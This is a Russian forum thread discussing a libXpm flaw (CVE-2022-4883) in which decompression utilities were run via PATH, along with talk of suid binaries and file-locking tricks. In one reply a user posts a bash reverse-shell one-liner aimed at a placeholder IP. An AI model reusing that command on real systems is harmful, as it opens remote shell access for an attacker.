Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"Уязвимость в libXpm, приводящая к выполнению кода"	+/–
Сообщение от opennews (??), 21-Янв-23, 11:12
Опубликован корректирующий выпуск библиотеки libXpm 3.5.15, развиваемой проектом X.Org и применяемой для обработки файлов в формате XPM. В новой версии устранены три уязвимости, две из которых (CVE-2022-46285, CVE-2022-44617) приводят к зацикливанию при обработке специально оформленных файлов XPM. Третья уязвимость (CVE-2022-4883) позволяет запустить произвольные команды при выполнении приложений, использующих libXpm. При запуске связанных с libXpm привилегированных процессов, например, программ с флагом suid root, уязвимость даёт возможность поднять свои привилегии... Подробнее: https://www.opennet.dev/opennews/art.shtml?num=58524
Ответить | Правка | Cообщить модератору

Сообщения

[Сортировка по времени | RSS]

1. "Уязвимость в libXpm, приводящая к выполнению кода"	+2 +/–
Сообщение от Аноним (1), 21-Янв-23, 11:12
> При запуске связанных с libXpm привилегированных процессов, например, программ с флагом suid root, уязвимость даёт возможность поднять свои привилегии. Это кто такой умный ставит левым прогам суид-рут?!
Ответить | Правка | Наверх | Cообщить модератору

	4. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (4), 21-Янв-23, 12:07
	Libxpm классика, которая может всплыть где угодно, раньше вроде в x-сервере использовалась.
	Ответить | Правка | Наверх | Cообщить модератору

	18. "Уязвимость в libXpm, приводящая к выполнению кода"	+2 +/–
	Сообщение от Аноним (1), 21-Янв-23, 14:12
	И много у тебя троянов внутри суидных прог?
	Ответить | Правка | Наверх | Cообщить модератору

	80. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (-), 22-Янв-23, 00:33
	> Libxpm классика, которая может всплыть где угодно, раньше вроде в x-сервере использовалась. Вот в какой suid'ной программе она могла бы потребоваться? Даже если забыть о том что в линухе suid уже довольно давно считается "фи" и почти не используется.
	Ответить | Правка | К родителю #4 | Наверх | Cообщить модератору

	103. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (103), 22-Янв-23, 16:06
	Ну "почти" не почти, беру первый попавшийся сервер со свежайшим RHEL 9 и все еще вижу сьюды в рута в программах, которые используются постоянно в работающей системе, типа: mount/mount.nfs, unix_chkpwd, at, crontab, su, passwd/gpasswd, fusermount. Впрочем, полагаю что CAP_SETUID, позволяющий сменить uid на рута, это настолько сильная операция, что тут безопасности от отказа от сьюд почти и не будет (хотя какие-то эксплоиты, наверное, предотвратить можно).
	Ответить | Правка | Наверх | Cообщить модератору

	113. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (-), 24-Янв-23, 04:19
	> и все еще вижу сьюды в рута в программах, которые используются > постоянно в работающей системе, типа: mount/mount.nfs, unix_chkpwd, at, crontab, > su, passwd/gpasswd, fusermount. И которой из них сабжа надо?
	Ответить | Правка | Наверх | Cообщить модератору

	49. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от dannyD (?), 21-Янв-23, 18:19
	>>Это кто такой умный ставит левым прогам суид-рут?! а спроси. ни кто не заметил, что даже если дать ~/.local/share/TelegramDesktop/log.txt root ro, то всё равно он переписывается ? т.е. при запуске юзверькой прилоги переписываеся файл с доступом только рута. вот меня это как-то напрягает.
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	55. "Уязвимость в libXpm, приводящая к выполнению кода"	+2 +/–
	Сообщение от Аноним (1), 21-Янв-23, 19:57
	Потому что ты ничего не понимаешь. Права на каталог TelegramDesktop - чьи? Вот чьи права - тот и может удалять-добавлять файлы в этом каталоге. Что такое "переписать"? Старый файл - удаляется, новый - создаётся, обе операции зависят от прав на _каталог_. Тебе нужен "закрепляющий бит": каталог с установленным sticky-битом означает, что удалить файл из этого каталога может только владелец файла или root. Не забывай, если выше ещё есть каталоги.
	Ответить | Правка | Наверх | Cообщить модератору

	56. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от dannyD (?), 21-Янв-23, 20:23
	спс зы. я не админ, я оффтоп не люблю. ззы. совсем не люблю.
	Ответить | Правка | Наверх | Cообщить модератору

	79. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от dannyD (?), 22-Янв-23, 00:31
	>>Потому что ты ничего не понимаешь..... >>...нужен "закрепляющий бит": каталог с установленным sticky-битом означает, а можно чиста каннеретна \../_ _\../ что сделать, чтоб в файле нулевой длины ~/.local/share/TelegramDesktop/log.txt запускаемая программа (телеграм) ничего не могла записать или измемить? т.е. задача блокировать ведение этого лога.
	Ответить | Правка | К родителю #55 | Наверх | Cообщить модератору

	100. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от Perlovka (ok), 22-Янв-23, 13:40
	Гугли setattr
	Ответить | Правка | Наверх | Cообщить модератору

	115. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (1), 24-Янв-23, 05:28
	> чтоб в файле нулевой длины ... запускаемая программа (телеграм) ничего не могла частенько встречается такая задача, погасить неуёмное приложение. Инструменты все озвучены выше: закрепление и рут-владелец (и на группу тоже).
	Ответить | Правка | К родителю #79 | Наверх | Cообщить модератору

	119. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (119), 25-Янв-23, 04:59
	sudo chattr +ai /path/to/file
	Ответить | Правка | К родителю #79 | Наверх | Cообщить модератору

	64. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от Аноним (-), 21-Янв-23, 22:37
	> т.е. при запуске юзверькой прилоги переписываеся файл с доступом только рута. А owner у него кто? > вот меня это как-то напрягает. Chattr +i ему поставь. Или если не хочется чтобы там что-то было, можно убрать файло, создать диру с этим именем, и если программа в принципе может после этого работать - ну, ой, в диру дописать что либо она уже не сможет. Получит "Is a directory" как отлуп.
	Ответить | Правка | К родителю #49 | Наверх | Cообщить модератору

	101. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от dannyD (?), 22-Янв-23, 14:08
	спс, разорбрался. конкретно телеграмм отказывается запускаться с отбитым логом.
	Ответить | Правка | Наверх | Cообщить модератору

	107. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от ivan_erohin (?), 23-Янв-23, 17:15
	очень, очень наглый кусок дуровкода. а если залинковать это в /dev/null: $ rm -f -- ~/.local/share/TelegramDesktop/log.txt $ ln -s ~/.local/share/TelegramDesktop/log.txt /dev/null (и/или то же самое после запуска дуровграма) что будет ? ps: man socat вдруг появятся еще идеи.
	Ответить | Правка | Наверх | Cообщить модератору

	110. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от dannyD (?), 23-Янв-23, 22:12
	разумеется сслыка будет прибита, а на ёё месте будет новый файл. PS. это первое, что было испробовано.
	Ответить | Правка | Наверх | Cообщить модератору

	111. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от dannyD (?), 23-Янв-23, 22:19
	тоже самое с ~/.xsession-errors от lightdm лечится ковырянием сырца с переносом в /tmp который на tmpfs
	Ответить | Правка | К родителю #107 | Наверх | Cообщить модератору

	114. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (-), 24-Янв-23, 04:23
	> конкретно телеграмм отказывается запускаться с отбитым логом. Ггг лол, ну, я бы если пользовался этим крапом вгрузил бы LD_PRELOAD'ом libfxxxoff.so - который так то open() с вон тем аргументом как-бы сделает. Теоретически. Практически, делать что-то с файлами в фс при этом совершенно не обязательно, только имитировать что все прокатило. Можно подумать, оно еще и проверять содержимое будет. Главное грамотно с314ть что все збс :)
	Ответить | Правка | К родителю #101 | Наверх | Cообщить модератору

	116. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от dannyD (?), 24-Янв-23, 07:48
	нихтфирштейн.
	Ответить | Правка | Наверх | Cообщить модератору

2. "Уязвимость в libXpm, приводящая к выполнению кода"	+6 +/–
Сообщение от Аноним (1), 21-Янв-23, 11:13
> Атака сводится к размещению в доступном пользователю каталоге, присутствующем в списке PATH, собственных исполняемых файлов Ну а это вообще жесть :)
Ответить | Правка | Наверх | Cообщить модератору

	3. "Уязвимость в libXpm, приводящая к выполнению кода"	+3 +/–
	Сообщение от Аноним (3), 21-Янв-23, 12:01
	По сути, не отличается от подмены утилиты или библиотеки на левую. Вы обречены.
	Ответить | Правка | Наверх | Cообщить модератору

	19. "Уязвимость в libXpm, приводящая к выполнению кода"	–1 +/–
	Сообщение от Аноним (1), 21-Янв-23, 14:14
	> не отличается от подмены утилиты или библиотеки на левую Вот с этого и надо было статью начинать: "сначала надо подменить систему".
	Ответить | Правка | Наверх | Cообщить модератору

	11. "Уязвимость в libXpm, приводящая к выполнению кода"	+5 +/–
	Сообщение от An onymous (?), 21-Янв-23, 12:43
	warning! Пользователь может запустить под собой какую-то программу!
	Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

	40. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от Аноним (40), 21-Янв-23, 16:34
	Warning. Программа с suid бит может запустить под root какую-то программу вместо gzip
	Ответить | Правка | Наверх | Cообщить модератору

	47. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Admino (ok), 21-Янв-23, 18:00
	А что за программа-то?
	Ответить | Правка | Наверх | Cообщить модератору

	51. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от OpenEcho (?), 21-Янв-23, 18:36
	> А что за программа-то?     bash -i >& /dev/udp/1.2.3.4/1337 0>&1
	Ответить | Правка | Наверх | Cообщить модератору

	54. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Admino (ok), 21-Янв-23, 19:38
	С правами рута и с использованием libXpm? Отсыпь.
	Ответить | Правка | Наверх | Cообщить модератору

	108. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от OpenEcho (?), 23-Янв-23, 19:35
	> Отсыпь. Но, тебе уже и так хватит :) Но если хочешь чтоб быстрей отпустило, дай доступ на ограниченый экаунт в которм суидишная компроментированная/вулнерабная прожка есть
	Ответить | Правка | Наверх | Cообщить модератору

	109. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Admino (ok), 23-Янв-23, 19:45
	Так вот мне и интересно было, где это в дистрибутивах встречается графическая тулза с суидом и libXpm.
	Ответить | Правка | Наверх | Cообщить модератору

	117. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от OpenEcho (?), 25-Янв-23, 00:03
	> Так вот мне и интересно было, где это в дистрибутивах встречается графическая > тулза с суидом и libXpm. А-а-а, вы о этом, сори, не понял... к сожалению помимо безобидного текстового XPM, есть еще ``` <xmp> find . -perm /6000 ./usr/bin/fusermount3 ./usr/bin/wall ./usr/bin/passwd ./usr/bin/newgrp ./usr/bin/gpasswd ./usr/bin/chsh ./usr/bin/su ./usr/bin/expiry ./usr/bin/mount ./usr/bin/umount ./usr/bin/sudo ./usr/bin/mlocate ./usr/bin/chage ./usr/bin/ssh-agent ./usr/bin/write.ul ./usr/bin/dotlockfile ./usr/bin/crontab ./usr/bin/chfn ./usr/sbin/unix_chkpwd ./usr/lib/dbus-1.0/dbus-daemon-launch-helper ./usr/lib/x86_64-linux-gnu/utempter/utempter ./usr/lib/openssh/ssh-keysign ./usr/local/share/fonts ./run/log/journal ./var/log/journal ./var/log/journal/0289d16f3787f03a0475a594054e4e77 ./var/mail ./var/local </xmp> ```
	Ответить | Правка | Наверх | Cообщить модератору

	118. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Admino (ok), 25-Янв-23, 00:08
	Зачем ты привёл кучу текстовых утилит, которые к libXpm никаким боком отношения не имеют? Не говоря уже про логи? Ты ChatGPT, что ли?
	Ответить | Правка | Наверх | Cообщить модератору

	121. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от OpenEcho (?), 25-Янв-23, 19:55
	> Зачем ты привёл кучу текстовых утилит, Это /usr/bin/passwd текстовая утилита ? > которые к libXpm никаким боком отношения не имеют? А мы разве не отошли он libXPM и говорим про программы которые работают под SUID/GUID ? >Не говоря уже про логи? Это не логи, это выхлоп от find . -perm /6000 который в данном случае искал на ванильном дебиане все программы от корня на которых установлен SUID/GUID > Ты ChatGPT, что ли? Платить калеки ChatGPT чтоб развлекать местных анонимов?! А вы батенька шутник...
	Ответить | Правка | Наверх | Cообщить модератору

	122. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Admino (ok), 25-Янв-23, 20:01
	> Это /usr/bin/passwd текстовая утилита ? Это троллинг тупостью? Да, /usr/bin/passwd - это текстовая утилита. > А мы разве не отошли он libXPM и говорим про программы которые > работают под SUID/GUID ? Для эксплуатации уязвимости требуется а) программа, использующая libXpm и б) программа, имеющая suid бит. Условия а) и б) должны выполняться одновременно. Я таких программ в современном дистрибутиве не нашёл. Теперь ты мне приводишь вывод find, в котором логи и куча консольщины. Зачем? > Это не логи, это выхлоп от > find . -perm /6000 > который в данном случае искал на ванильном дебиане все программы от корня > на которых установлен SUID/GUID И нашёл логи, потому что там на каталогах SGID.
	Ответить | Правка | Наверх | Cообщить модератору

	123. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от OpenEcho (?), 26-Янв-23, 00:28
	> Это троллинг тупостью? Да, /usr/bin/passwd - это текстовая утилита. О-о-о, понятно, еще один умный пуп, ну-ну  смакуй дальше сам какой ты "умный"
	Ответить | Правка | Наверх | Cообщить модератору

5. "Уязвимость в libXpm, приводящая к выполнению кода"	–7 +/–
Сообщение от Аноним (5), 21-Янв-23, 12:11
Ядро - одна большая чёрная дырка. Остальные проги тоже, даже sudo который со времён мамонтов, дырявый до сих пор. ОпенБСД занесли за бэкдоры и дырки, тоже не секрет и очень давно уже. Ну т.е., вся наша вера в жопарукий-сорс - тлен.. Успокаивает порой лишь что wine хоть работает, и то слава богу, ну хоть одна хорошая новость. Как жить то теперь?
Ответить | Правка | Наверх | Cообщить модератору

	6. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (6), 21-Янв-23, 12:22
	Без таких нытиков как ты - нормально жить
	Ответить | Правка | Наверх | Cообщить модератору

	9. "Уязвимость в libXpm, приводящая к выполнению кода"	+4 +/–
	Сообщение от деанон (?), 21-Янв-23, 12:39
	Зуммер узнал, что мир не идеален
	Ответить | Правка | К родителю #5 | Наверх | Cообщить модератору

	12. "Уязвимость в libXpm, приводящая к выполнению кода"	–1 +/–
	Сообщение от Аноним (5), 21-Янв-23, 12:50
	Да откудаж вы рождаетесь то инородные такие, что аж каждый вдох и выдох это уже полноценный вывод. Кто-то прав, вас уже многова-то..
	Ответить | Правка | Наверх | Cообщить модератору

	10. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (10), 21-Янв-23, 12:41
	Хорошо жить на Винде 11
	Ответить | Правка | К родителю #5 | Наверх | Cообщить модератору

	13. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Анатолий Цыбин (ok), 21-Янв-23, 12:52
	Естественно, ведь на Винде нет дыр. Весь мир знает, что Майкрософт -- это фирма от самого бога, в которой работают трудолюбивейшие как Стаханов и умнейшие как Эйнштейн специалисты. Они любят пользователя и заботятся о нём, поэтому не допущают никаких дыр, никаких уязвимостей в принципе. Те, кто попадают в рай, являются свидетелями того, что у самого бога стоит Винда. А кто попадает в ад... Ну, не будем о плохом. =)
	Ответить | Правка | Наверх | Cообщить модератору

	35. "Уязвимость в libXpm, приводящая к выполнению кода"	+3 +/–
	Сообщение от Аноним (35), 21-Янв-23, 15:14
	Ну не просто же так в линуксе демоны
	Ответить | Правка | Наверх | Cообщить модератору

	46. "Уязвимость в libXpm, приводящая к выполнению кода"	+4 +/–
	Сообщение от Admino (ok), 21-Янв-23, 17:59
	И зомби. И в винде иконки и службы.
	Ответить | Правка | Наверх | Cообщить модератору

	15. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (15), 21-Янв-23, 13:12
	А в стенах камеры ещё.
	Ответить | Правка | К родителю #5 | Наверх | Cообщить модератору

	65. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (-), 21-Янв-23, 22:39
	> Ядро - одна большая чёрная дырка. Ога, блин, выполняет запросы программ, такое сякое. Если запросы программ не выполнять - знаете как хакеры обломаются?! Кстати это работает. Скажем, у меня есть библа которая заворачивает попытки файлы открывать. Программы очень прикольно обижаются когда им почти ничего открыть не дают. Правда далеко не все их них потом работать согласны.
	Ответить | Правка | К родителю #5 | Наверх | Cообщить модератору

	82. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (-), 22-Янв-23, 00:39
	> Ну т.е., вся наша вера в жопарукий-сорс - тлен.. Успокаивает порой лишь > что wine хоть работает, и то слава богу, Так что можно позапускать и виндовые трояны милые сердцу прожженого маздайца? Тут уж кому что.
	Ответить | Правка | К родителю #5 | Наверх | Cообщить модератору

14. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
Сообщение от Ананоним (?), 21-Янв-23, 13:08
Ну они скоро подарят всяким докерам фичу невозможности пользователю менять переменную PATH. Скажите переменным окружения прощай! Депрекатед!
Ответить | Правка | Наверх | Cообщить модератору

	20. "Уязвимость в libXpm, приводящая к выполнению кода"	+3 +/–
	Сообщение от Аноним (1), 21-Янв-23, 14:17
	Да пусть меняет PATH, сколько влезет. Вопрос в другом: какого фига разрешено недоверенному юзеру запускать что-то оттуда, куда он имеет права на запись? Админ локалхоста забыл про noexec?
	Ответить | Правка | Наверх | Cообщить модератору

	33. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Омномним (?), 21-Янв-23, 15:07
	Да не, ну это херня, у меня другой вопрос: каким образом этот юзер себе suid root-то организует? А так - ну запускает непривилигерованный юзер что-то, в чём проблема-то? :)
	Ответить | Правка | Наверх | Cообщить модератору

	41. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от GOrilla (?), 21-Янв-23, 16:42
	Как это в чем? А эксплоит запускает тогда что. Шелл хостинги не дают запускать из хоумов.
	Ответить | Правка | Наверх | Cообщить модератору

16. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
Сообщение от InuYasha (??), 21-Янв-23, 13:25
> при помощи вызова execlp() запускает внешние утилиты Ну это вообще... смузикод из 80ых что-ли? system("gzip my shit"); А всё потому что нет нормального LinAPI? Если кто будет возмущаться, я тоже делал exec для всяких костылей, и знаю, что иногда надо, но это грязный хак, и не в проде же )
Ответить | Правка | Наверх | Cообщить модератору

	21. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (21), 21-Янв-23, 14:19
	> А всё потому что нет нормального LinAPI? А как ты себе это представляешь в принципе? Абсолютно все утилиты на компе должны идти с lib<util_name>.so и каждая утилита должна линковаться с каждой библиотекой другой утилиты?
	Ответить | Правка | Наверх | Cообщить модератору

	27. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (40), 21-Янв-23, 14:52
	В Винде можно dll связать с другой dll. В java можно динамически загружать нативные библиотеки. Почему в libxpm нельзя как то так? Или просто скопипастить код распаковки в исходный код lixpm и не запускать неизвестно какие исполняемые файлы
	Ответить | Правка | Наверх | Cообщить модератору

	53. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от Аноним (21), 21-Янв-23, 19:14
	> В java можно динамически загружать нативные библиотеки. Офигеть, вот это круто! Это dlopen() что-ли?
	Ответить | Правка | Наверх | Cообщить модератору

	95. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (10), 22-Янв-23, 10:40
	System.loadLibrary
	Ответить | Правка | Наверх | Cообщить модератору

	57. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от Sw00p aka Jerom (?), 21-Янв-23, 20:38
	ну вон в винде дллки также инжектят разница-то в чем?
	Ответить | Правка | К родителю #27 | Наверх | Cообщить модератору

	63. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (63), 21-Янв-23, 22:34
	Потому что unix это не винда
	Ответить | Правка | К родителю #27 | Наверх | Cообщить модератору

	71. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (-), 21-Янв-23, 22:47
	> В Винде можно dll связать с другой dll. В Linux тоже так можно. И чего? > В java можно динамически загружать нативные библиотеки. Да охренеть! В нативных программах, только подумайте, тоже. > Почему в libxpm нельзя как то так? При желании можно. Просто видимо авторы были ленивые и это показалось им сложнее чем вон то. А чо, в винде тоже можно CreateProcess* сделать из либы если захотеть. > Или просто скопипастить код распаковки в исходный код lixpm и не запускать > неизвестно какие исполняемые файлы Справедливости ради - найти программу которую еще и огреть вон тем удастся придется постараться.
	Ответить | Правка | К родителю #27 | Наверх | Cообщить модератору

	29. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от InuYasha (??), 21-Янв-23, 14:55
	В идеальном мире - примерно да. Функции, алгоритмы, код - в ДЛЛках, CLI и фронтенд - на чём хочешь. А если вспомнить rundll32, то, с натяжкой, КЛИ у нас уже готов... ) Конкретно по сабжу - я реально удивлён что там не подключили какую-нибудь библиотеку.
	Ответить | Правка | К родителю #21 | Наверх | Cообщить модератору

	45. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (45), 21-Янв-23, 17:13
	В данном случае распаковка не является задачей libXpm. Программа может напрямую вызвать zlib, и разжатые данные передать libXpm
	Ответить | Правка | К родителю #21 | Наверх | Cообщить модератору

	70. "Уязвимость в libXpm, приводящая к выполнению кода"	+2 +/–
	Сообщение от Аноним (70), 21-Янв-23, 22:45
	В полноценных операционных системах еще с 90х годов у каждой программы нужные библиотеки лежат в каталоге с этой самой программой и только общесистемные лежат в каталоге операционной системы, где-нибудь в C:\OS2\DLL или C:\Windows\System32.
	Ответить | Правка | К родителю #21 | Наверх | Cообщить модератору

17. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
Сообщение от InuYasha (??), 21-Янв-23, 13:30
Гос.пади, xpm - это битмапы в формате сишного массива что-ли? JSON и смузихлёбство из прошлого века? Всю жизнь его ненавидел. Зато проприетарасты его обожают.
Ответить | Правка | Наверх | Cообщить модератору

	22. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (21), 21-Янв-23, 14:20
	И я его обожаю. В CDE божественные xpm'ные иконки
	Ответить | Правка | Наверх | Cообщить модератору

	92. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (92), 22-Янв-23, 09:47
	А если бы они были png'шные, было бы не то?
	Ответить | Правка | Наверх | Cообщить модератору

	99. "Уязвимость в libXpm, приводящая к выполнению кода"	+2 +/–
	Сообщение от Аноним (21), 22-Янв-23, 13:32
	ощущения не те
	Ответить | Правка | Наверх | Cообщить модератору

	23. "Уязвимость в libXpm, приводящая к выполнению кода"	+2 +/–
	Сообщение от Аноним (1), 21-Янв-23, 14:24
	Дело не в xpm, а что тебе кто-то может ls, например, подменить, а ты потом sudo ls сделаешь (это так, для наглядности, про что "уязвимость").
	Ответить | Правка | К родителю #17 | Наверх | Cообщить модератору

	26. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от InuYasha (??), 21-Янв-23, 14:51
	Да это-то понятно. Просто вспомнил, что xpm такое. Пока у тебя диск завален xpm-ками - это всё смешно, а, вот, когда у тебя бинарники со вSHITыми в виде данных (а не, хотя бы, ресурсов) картинками - вообще грусть. Особенно если это прошивки какие-нибудь.
	Ответить | Правка | Наверх | Cообщить модератору

24. "Уязвимость в libXpm, приводящая к выполнению кода"	–2 +/–
Сообщение от Аноним (40), 21-Янв-23, 14:42
>Уязвимость вызвана особенностью работы libXpm со сжатыми файлами XPM - при обработке файлов XPM.Z или XPM.gz библиотека при помощи вызова execlp() запускает внешние утилиты распаковки (uncompress или gunzip) Очень хорошая архитектура, настоящие программисты на си, превзошли сами себя
Ответить | Правка | Наверх | Cообщить модератору

	32. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (40), 21-Янв-23, 15:07
	Хотя я тоже писала код запускающий внешний исполняемый файл для ковертации, который в прод работает. Но там ни путь ни параметры от пользователя не приходят.
	Ответить | Правка | Наверх | Cообщить модератору

	48. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (21), 21-Янв-23, 18:05
	> Очень хорошая архитектура, настоящие программисты на си, превзошли сами себя А что не так? У вас там в расте особенности работы с памятью, а у нас особенность работы с libXpm
	Ответить | Правка | К родителю #24 | Наверх | Cообщить модератору

	66. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (63), 21-Янв-23, 22:40
	> Очень хорошая архитектура Верно, классическая UNIX, позволяет менять алгоритм сжатия без изменения кода приложения и перекомпиляции.
	Ответить | Правка | К родителю #24 | Наверх | Cообщить модератору

	94. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (10), 22-Янв-23, 10:36
	Менять алгоритм сжатия на запуск произвольного кода?
	Ответить | Правка | Наверх | Cообщить модератору

	106. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от kusb (?), 23-Янв-23, 14:43
	Может быть истинно понятная и безопасная ОС и должна так работать, без всяких шуток.
	Ответить | Правка | К родителю #24 | Наверх | Cообщить модератору

25. "Уязвимость в libXpm, приводящая к выполнению кода"	–2 +/–
Сообщение от Аноним (25), 21-Янв-23, 14:44
>запускает внешние утилиты распаковки (uncompress или gunzip) Вон из профессии за такое решение. >Уязвимость устранена заменой вызова execlp на execl с использованием абсолютных путей к утилитам Вон из профессии за такой фикс.
Ответить | Правка | Наверх | Cообщить модератору

	36. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (36), 21-Янв-23, 15:28
	А если бы они использовали другой язык проблем было бы ещё больше. В том числе с программистами и их решениями.
	Ответить | Правка | Наверх | Cообщить модератору

	39. "Уязвимость в libXpm, приводящая к выполнению кода"	–1 +/–
	Сообщение от Аноним (39), 21-Янв-23, 16:27
	Какой нахрен другой язык, им дали zlib - нет "хочу дёргать exec". Необучаемые.
	Ответить | Правка | Наверх | Cообщить модератору

	75. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (75), 21-Янв-23, 23:34
	Положить zlib.so в PATH. Повторить эксперимент
	Ответить | Правка | Наверх | Cообщить модератору

	77. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от Аноним (21), 21-Янв-23, 23:36
	ldconfig использует $PATH?
	Ответить | Правка | Наверх | Cообщить модератору

	68. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (63), 21-Янв-23, 22:41
	Давай tar ещё выгони, дурик.
	Ответить | Правка | К родителю #25 | Наверх | Cообщить модератору

	96. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (96), 22-Янв-23, 10:47
	tar давно ффтопку, ибо его разрабы не понимают в архитектуре и делали его абы-как и в результате он выглядит как неудобное в использовании нагромождение говна. Рано или поздно всё это говно придётся разгребать и делать по-человечески. Только почему опять мне?
	Ответить | Правка | Наверх | Cообщить модератору

30. "Уязвимость в libXpm, приводящая к выполнению кода"	+2 +/–
Сообщение от Омномним (?), 21-Янв-23, 15:03
при обработке файлов XPM.Z или XPM.gz библиотека при помощи вызова execlp() запускает внешние утилиты распаковки А libz поюзать вообще не судьба была?
Ответить | Правка | Наверх | Cообщить модератору

	34. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (34), 21-Янв-23, 15:11
	Ну, тогда бы сейчас бы читали новость об очередном переполнении int и выходы за пределы буфера.
	Ответить | Правка | Наверх | Cообщить модератору

	37. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (36), 21-Янв-23, 15:29
	Выходить? Не надо так.
	Ответить | Правка | Наверх | Cообщить модератору

	112. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Омномним (?), 24-Янв-23, 00:11
	Пока что только новость о выходе за пределы сознания.
	Ответить | Правка | К родителю #34 | Наверх | Cообщить модератору

38. "Уязвимость в libXpm, приводящая к выполнению кода"	+2 +/–
Сообщение от Анонн (?), 21-Янв-23, 16:15
Офигенный код и офигенный фикс... Кто там пыхеров и жсников за eval ругал? Ваш выход!
Ответить | Правка | Наверх | Cообщить модератору

	44. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от Аноним (44), 21-Янв-23, 17:12
	В это проблема GNU/Xorg библиотек. Десятки тысяч исходных кодов, которые не верифицировались и не обновлялись на протяжении, например 11 лет! 20 лет! да там есть и такое.
	Ответить | Правка | Наверх | Cообщить модератору

	97. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (96), 22-Янв-23, 10:48
	У вейланда другая проблема - падает и глючит.
	Ответить | Правка | Наверх | Cообщить модератору

	105. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (105), 23-Янв-23, 13:08
	>GNU/Xorg Конечно, FSF был бы не против этого.
	Ответить | Правка | К родителю #44 | Наверх | Cообщить модератору

43. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
Сообщение от Аноним (44), 21-Янв-23, 17:09
А ведь можно было использовать библиотеки реализующие декомпрессию z/gz и не вызывать в коде библиотеки (библиотеки!!) внешние исполняемые файлы.
Ответить | Правка | Наверх | Cообщить модератору

